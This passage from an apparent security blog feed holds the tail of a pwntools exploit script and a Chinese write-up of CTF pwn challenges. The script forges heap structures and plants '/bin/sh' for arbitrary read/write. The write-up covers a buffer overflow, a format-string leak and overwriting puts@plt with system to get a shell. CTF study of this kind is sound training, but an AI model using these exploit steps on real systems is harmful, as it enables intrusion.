&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;FAKE_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;LEADER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; BASE_OFFSET&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Shoper&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;AAAAAAAAbbbbbbbbCCCCCCCC&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;LEADER&lt;&#x2F;span&gt;&lt;span&gt;) )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Write initalize component&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;PFAKE_STRUCT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; LEADER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;18&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;PFSTR_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;LEADER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; BASE_OFFSET&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;compchain&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;LEADER&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;            # LEADER+0x00, overwrite protect&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;LEADER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2c&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;       # LEADER+0x08, should be $item_count&amp;#39;s address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;PFAKE_STRUCT&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;      # LEADER+0x10, fake struct real address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;LEADER&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;            # LEADER+0x18, WR_ADDR&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;200&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;             # LEADER+0x20, fake length&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    &amp;quot;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;            # LEADER+0x24, fake name&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;               # LEADER+0x2c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;WRIDX&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;_edit&lt;&#x2F;span&gt;&lt;span&gt;( cid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; FAKE_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt; comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(compchain))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# recalculate offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Finished load component. WRIDX=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;WRIDX&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;warning&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Have a test of our component&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;TEST_ADDR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;602090&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Write test of &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;TEST_ADDR&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#set address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;compchain[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;WRIDX&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;TEST_ADDR&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;_edit&lt;&#x2F;span&gt;&lt;span&gt;( cid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; FAKE_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt; comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(compchain))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#write data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;_edit&lt;&#x2F;span&gt;&lt;span&gt;( cid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; PFSTR_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt; comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;233233233233233&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Read test of &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;TEST_ADDR&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# prepare to change item 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;compchain[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;WRIDX&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;BASE_OFFSET&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;_edit&lt;&#x2F;span&gt;&lt;span&gt;( cid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; FAKE_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt; comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(compchain))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# modify item to fake struct&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;_edit&lt;&#x2F;span&gt;&lt;span&gt;( cid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; PFSTR_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt; comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;PFAKE_STRUCT&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# set read address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;compchain[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;WRIDX&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;TEST_ADDR&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;_edit&lt;&#x2F;span&gt;&lt;span&gt;( cid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; FAKE_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; ,&lt;&#x2F;span&gt;&lt;span&gt; comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(compchain))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# read from cart&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;debug&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;_cart&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>最近做的几个Pwn总结</title>
        <published>2016-05-01T00:00:00+00:00</published>
        <updated>2016-05-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/just-prev-old-1604/"/>
        <id>https://blog.iret.xyz/posts/just-prev-old-1604/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/just-prev-old-1604/">&lt;p&gt;好久没发文章了。这次把最近在比赛中做的几个Pwn发出来，希望看到此文的老司机可以指点一下，嘿嘿。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-heng-429-xian-shang-pwn-1-250&quot;&gt;安恒429 - 线上 Pwn 1 (250)&lt;&#x2F;h2&gt;
&lt;p&gt;拿到题目之后检查导入表，可以看到使用了一些比较危险的函数，如&lt;code&gt;system&lt;&#x2F;code&gt;和&lt;code&gt;memcpy&lt;&#x2F;code&gt;。检查了一下，可以看到主函数里面的缓冲区大小为0x108，而调用了&lt;code&gt;memcpy&lt;&#x2F;code&gt;函数的&lt;code&gt;ShowInfo()&lt;&#x2F;code&gt;里的缓冲区大小只有0x88，可以进行缓冲区溢出攻击。此外在&lt;code&gt;UsePrinter()&lt;&#x2F;code&gt;里调用了system函数，因此不需要特意寻找信息泄露，也无需设计ROP，设计好攻击字符串之后直接跳到&lt;code&gt;0x804878D&lt;&#x2F;code&gt;即可。如果对方开启了ASLR，随机打还是可以打到的。&lt;&#x2F;p&gt;
&lt;p&gt;比较简 &lt;del&gt;(yong)&lt;&#x2F;del&gt; 单 &lt;del&gt;(lan)&lt;&#x2F;del&gt; ，不写了。（实际是因为我把脚本弄丢了……）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cctf-hack-the-ftp-server-350&quot;&gt;CCTF - Hack the FTP Server (350)&lt;&#x2F;h2&gt;
&lt;p&gt;这个题有两种方法。&lt;&#x2F;p&gt;
&lt;p&gt;一种比较麻烦，通过分析程序结构后，可以发现在&lt;code&gt;show_dir&lt;&#x2F;code&gt;的时候，由于对长度控制不严谨，在&lt;code&gt;ebp-0x414&lt;&#x2F;code&gt;处的缓冲区可以被打溢出。操作这个结构，需要控制好其下位于&lt;code&gt;ebp-0x14&lt;&#x2F;code&gt;至&lt;code&gt;ebp-0x0c&lt;&#x2F;code&gt;处的一个指针和两个循环变量，其中后两个比较好计算，而前一个比较麻烦。因此，需要借助位于&lt;code&gt;0x804889E&lt;&#x2F;code&gt;处的格式化字符串漏洞，得到前几个结构体的地址，再根据&lt;code&gt;malloc()&lt;&#x2F;code&gt;的原理，计算出需要填入的值。&lt;&#x2F;p&gt;
&lt;p&gt;这么做特别麻烦。而我们既然有了一个格式化字符串漏洞，可以进行任意地址的读写，就可以直接只利用这个漏洞，来完成我们的利用工作。又注意到，&lt;code&gt;puts()&lt;&#x2F;code&gt;仅在&lt;code&gt;show_dir()&lt;&#x2F;code&gt;中被调用过，那么我们可以通过修改plt表，来执行system函数。为了得知其偏移量，我们可以直接dump内存，也可以通过检查特定函数所在入口点的最后几个byte，来反向得知其库版本，如&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;niklasb&#x2F;libc-database&quot;&gt;这个项目&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;总结：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;准备：先泄露一个函数的基地址，得到库文件及其中函数的相对偏移量&lt;&#x2F;li&gt;
&lt;li&gt;信息泄露：打出一个ASLR后的地址。这一步只能单独完成，因为其他步骤都需要以其为基础。&lt;&#x2F;li&gt;
&lt;li&gt;修改PLT表：以之前获得的基地址和偏移量为基础，修改&lt;code&gt;puts@plt&lt;&#x2F;code&gt;为&lt;code&gt;system&lt;&#x2F;code&gt;的地址。&lt;&#x2F;li&gt;
&lt;li&gt;触发函数：调用&lt;code&gt;show_dir&lt;&#x2F;code&gt;，打出system。注意到我们在这个过程中用了两次put，同时原本的puts方法也只有一个字符串指针的参数，因此我们可以构造两个块，其名字拼接起来恰为&lt;code&gt;&quot;&#x2F;bin&#x2F;sh&quot;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;脚本见附件。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cctf-xin-da-lu-200&quot;&gt;CCTF - 新大陆 (200)&lt;&#x2F;h2&gt;
